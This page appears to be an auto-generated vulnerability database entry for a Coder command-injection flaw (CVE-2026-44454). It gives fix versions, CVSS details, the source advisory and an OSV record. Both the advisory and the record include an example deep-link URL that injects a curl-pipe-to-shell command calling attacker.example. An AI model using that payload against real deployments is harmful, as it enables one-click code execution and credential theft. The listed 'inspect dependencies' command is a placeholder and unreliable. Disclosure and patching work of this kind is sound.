CVE-2026-44454: Github.com/coder/coder/v2 Coder Vulnerable To Workspace Auto-creation Vulnerability

HIGH
Advisory Identifier: GHSA-m3cr-vc2j-pm27
CVSS 8.1
CWE-78
Published
Advisory Summary

CVE-2026-44454 is a HIGH (CVSS 8.1) coder vulnerable to workspace auto-creation vulnerability (CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')) affecting Github.com/coder/coder/v2 libraries in the Go ecosystem. The issue involves coder vulnerable to workspace auto-creation via crafted url parameters without user consent. Remediation is available by upgrading affected packages to version 2.29.7, 2.30.2.

CVE-2026-44454 at a Glance

CVE Identifier CVE-2026-44454
GHSA Identifier GHSA-m3cr-vc2j-pm27
Severity HIGH
CVSS v3.1 Base Score 8.1
CWE Classification CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Affected Product Github.com/coder/coder/v2
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 8.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2026-44454

To remediate this vulnerability, upgrade all affected Github.com/coder/coder/v2 dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/coder/coder/v2 fixed: 2.29.7
Upgrade github.com/coder/coder/v2 to 2.29.7
github.com/coder/coder/v2 fixed: 2.30.2
Upgrade github.com/coder/coder/v2 to 2.30.2
github.com/coder/coder fixed: Latest secure release
Upgrade github.com/coder/coder to Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/coder/coder/v2

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-44454, inspect your project dependencies for Github.com/coder/coder/v2:

inspect dependencies for github.com/coder/coder/v2

Analyze the terminal output to locate any version of Github.com/coder/coder/v2 in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.29.7), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'), where the product constructs all or part of an os command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended os command when it is sent to a downstream component. In Github.com/coder/coder/v2, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

# Command injection via dotfiles URI parameter combined with workspace auto-creation ## Summary The `dotfiles` registry module passed unsanitized user input to shell commands, allowing arbitrary code execution inside a provisioned workspace. Any user who supplied a crafted `dotfiles_uri` value (for example, one containing shell command substitution such as `$(...)`) could achieve command execution in their own workspace. The Create Workspace page's `mode=auto` deep links amplified this into a one-click attack: an attacker could craft a URL that prefilled `param.dotfiles_uri` and silently provisioned a workspace with the attacker-controlled value, with no explicit user confirmation. ## Details ### Command injection in the dotfiles module (root cause) The [dotfiles module](https://github.com/coder/registry/tree/main/registry/coder/modules/dotfiles) interpolated the user-provided `dotfiles_uri` value directly into a shell script and executed it without input validation. Because the value was expanded by the shell, payloads using command substitution (`$(...)`), command separators (`;`, `|`, `&&`), or backticks were interpreted before the `coder dotfiles` CLI was invoked. The Coder CLI itself uses `exec.CommandContext()` with an argument array and is not vulnerable; the injection occurred earlier, during shell expansion inside the module. As a result, a user who entered a crafted `dotfiles_uri` obtained arbitrary code execution in their workspace, even without `mode=auto`. ### Auto-creation amplification (`mode=auto`) The Create Workspace page supported a `mode=auto` query parameter that, combined with `param.*` URL parameters, automatically created a workspace on page load without displaying a confirmation prompt. An attacker could craft a malicious URL pointing to a victim's Coder deployment and set arbitrary template parameter values (for example, `param.dotfiles_uri`). When an authenticated user clicked the link, the workspace was created immediately with the attacker-supplied parameters, turning the command injection above into a one-click, no-consent attack. Example URL: ``` https://<deployment>/templates/<template>/workspace?mode=auto&param.dotfiles_uri=foo$(curl https://attacker.example/x | sh).com ``` ## Impact Arbitrary code execution inside the victim's workspace. Depending on the workspace's privileges, this may expose Git credentials, secrets, and workspace files, and can provide a foothold for lateral movement. With `mode=auto`, exploitation required only that an authenticated user click an attacker-supplied link to a template that uses the dotfiles module. ## Patches ### coder/registry (primary fix) Input validation was added to the dotfiles module to reject URIs and usernames containing special characters, and the unsafe `eval`/`sh -c` usage was removed. This eliminates the command injection at its source. - https://github.com/coder/registry/pull/703 ### coder/coder (defense-in-depth) A consent dialog was added that displays all prefilled `param.*` values and blocks creation until the user explicitly clicks **Confirm and Create**. This removes the `mode=auto` one-click amplification vector. - Fix commit: https://github.com/coder/coder/commit/60e3ab7632f42415d283b9fd5622ee53a4639ceb (PR [#22011](https://github.com/coder/coder/pull/22011)) - Patched releases: - [v2.29.7](https://github.com/coder/coder/releases/tag/v2.29.7) (ESR) - [v2.30.2](https://github.com/coder/coder/releases/tag/v2.30.2) (mainline) ### Recognition We'd like to thank [Aviv Donenfeld](https://github.com/avivdon) for responsibly disclosing this issue in accordance with https://coder.com/security/policy

CVE-2026-44454 Affected Github.com/coder/coder/v2 Versions

3 component(s)
Fixed Versions:
2.29.72.30.2
Product / Package Ecosystem Affected Versions Fixed Version
github.com/coder/coder/v2
Go
< 2.29.7
2.29.7
github.com/coder/coder/v2
Go
≥ 2.30.0
< 2.30.2
2.30.2
github.com/coder/coder
Go
≤ 0.27.3

References

Frequently Asked Questions

What is CVE-2026-44454?
CVE-2026-44454 is a security vulnerability in Github.com/coder/coder/v2 involving Coder vulnerable to workspace auto-creation via crafted URL parameters without user consent under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').
Which Github.com/coder/coder/v2 versions are affected?
Affected versions include releases prior to 2.29.7, 2.30.2 across affected packages: github.com/coder/coder/v2, github.com/coder/coder.
What version fixes CVE-2026-44454?
Upgrading to 2.29.7, 2.30.2 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/coder/coder/v2 affected?
Yes, github.com/coder/coder/v2 is affected in releases prior to 2.29.7, 2.30.2. Upgrade your dependency to 2.29.7, 2.30.2 or later.
Is github.com/coder/coder affected?
Yes, github.com/coder/coder is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What is the CVSS score of CVE-2026-44454?
CVE-2026-44454 has a CVSS v3.1 base score of 8.1 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N.
What CWE is associated with CVE-2026-44454?
CVE-2026-44454 is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.).
How can I check Go dependencies for CVE-2026-44454?
Run the dependency tree command: 'inspect dependencies for github.com/coder/coder/v2'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-m3cr-vc2j-pm27",
  "modified" : "2026-07-07T22:17:26Z",
  "published" : "2026-07-02T18:14:44Z",
  "aliases" : [ "CVE-2026-44454" ],
  "summary" : "Coder vulnerable to workspace auto-creation via crafted URL parameters without user consent",
  "details" : "# Command injection via dotfiles URI parameter combined with workspace auto-creation\n\n## Summary\n\nThe `dotfiles` registry module passed unsanitized user input to shell commands, allowing arbitrary code execution inside a provisioned workspace. Any user who supplied a crafted `dotfiles_uri` value (for example, one containing shell command substitution such as `$(...)`) could achieve command execution in their own workspace. The Create Workspace page's `mode=auto` deep links amplified this into a one-click attack: an attacker could craft a URL that prefilled `param.dotfiles_uri` and silently provisioned a workspace with the attacker-controlled value, with no explicit user confirmation.\n\n## Details\n\n### Command injection in the dotfiles module (root cause)\n\nThe [dotfiles module](https://github.com/coder/registry/tree/main/registry/coder/modules/dotfiles) interpolated the user-provided `dotfiles_uri` value directly into a shell script and executed it without input validation. Because the value was expanded by the shell, payloads using command substitution (`$(...)`), command separators (`;`, `|`, `&&`), or backticks were interpreted before the `coder dotfiles` CLI was invoked. The Coder CLI itself uses `exec.CommandContext()` with an argument array and is not vulnerable; the injection occurred earlier, during shell expansion inside the module. As a result, a user who entered a crafted `dotfiles_uri` obtained arbitrary code execution in their workspace, even without `mode=auto`.\n\n### Auto-creation amplification (`mode=auto`)\n\nThe Create Workspace page supported a `mode=auto` query parameter that, combined with `param.*` URL parameters, automatically created a workspace on page load without displaying a confirmation prompt. An attacker could craft a malicious URL pointing to a victim's Coder deployment and set arbitrary template parameter values (for example, `param.dotfiles_uri`). When an authenticated user clicked the link, the workspace was created immediately with the attacker-supplied parameters, turning the command injection above into a one-click, no-consent attack.\n\nExample URL:\n\n```\nhttps://<deployment>/templates/<template>/workspace?mode=auto&param.dotfiles_uri=foo$(curl https://attacker.example/x | sh).com\n```\n\n## Impact\n\nArbitrary code execution inside the victim's workspace. Depending on the workspace's privileges, this may expose Git credentials, secrets, and workspace files, and can provide a foothold for lateral movement. With `mode=auto`, exploitation required only that an authenticated user click an attacker-supplied link to a template that uses the dotfiles module.\n\n## Patches\n\n### coder/registry (primary fix)\n\nInput validation was added to the dotfiles module to reject URIs and usernames containing special characters, and the unsafe `eval`/`sh -c` usage was removed. This eliminates the command injection at its source.\n\n- https://github.com/coder/registry/pull/703\n\n### coder/coder (defense-in-depth)\n\nA consent dialog was added that displays all prefilled `param.*` values and blocks creation until the user explicitly clicks **Confirm and Create**. This removes the `mode=auto` one-click amplification vector.\n\n- Fix commit: https://github.com/coder/coder/commit/60e3ab7632f42415d283b9fd5622ee53a4639ceb (PR [#22011](https://github.com/coder/coder/pull/22011))\n- Patched releases:\n  - [v2.29.7](https://github.com/coder/coder/releases/tag/v2.29.7) (ESR)\n  - [v2.30.2](https://github.com/coder/coder/releases/tag/v2.30.2) (mainline)\n\n### Recognition\nWe'd like to thank [Aviv Donenfeld](https://github.com/avivdon) for responsibly disclosing this issue in accordance with https://coder.com/security/policy",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/coder/coder/v2"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.29.7"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/coder/coder/v2"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2.30.0"
      }, {
        "fixed" : "2.30.2"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/coder/coder"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "0.27.3"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/coder/coder/security/advisories/GHSA-m3cr-vc2j-pm27"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-44454"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/coder/coder/pull/22011"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/coder/registry/pull/703"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/coder/coder/commit/60e3ab7632f42415d283b9fd5622ee53a4639ceb"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/coder/registry/commit/8e68c96633f65a1babd76a93b6923e3deead4a82"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/coder/coder"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/coder/coder/releases/tag/v2.29.7"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/coder/coder/releases/tag/v2.30.2"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-78" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-02T18:14:44Z",
    "nvd_published_at" : "2026-07-07T21:17:25Z"
  }
}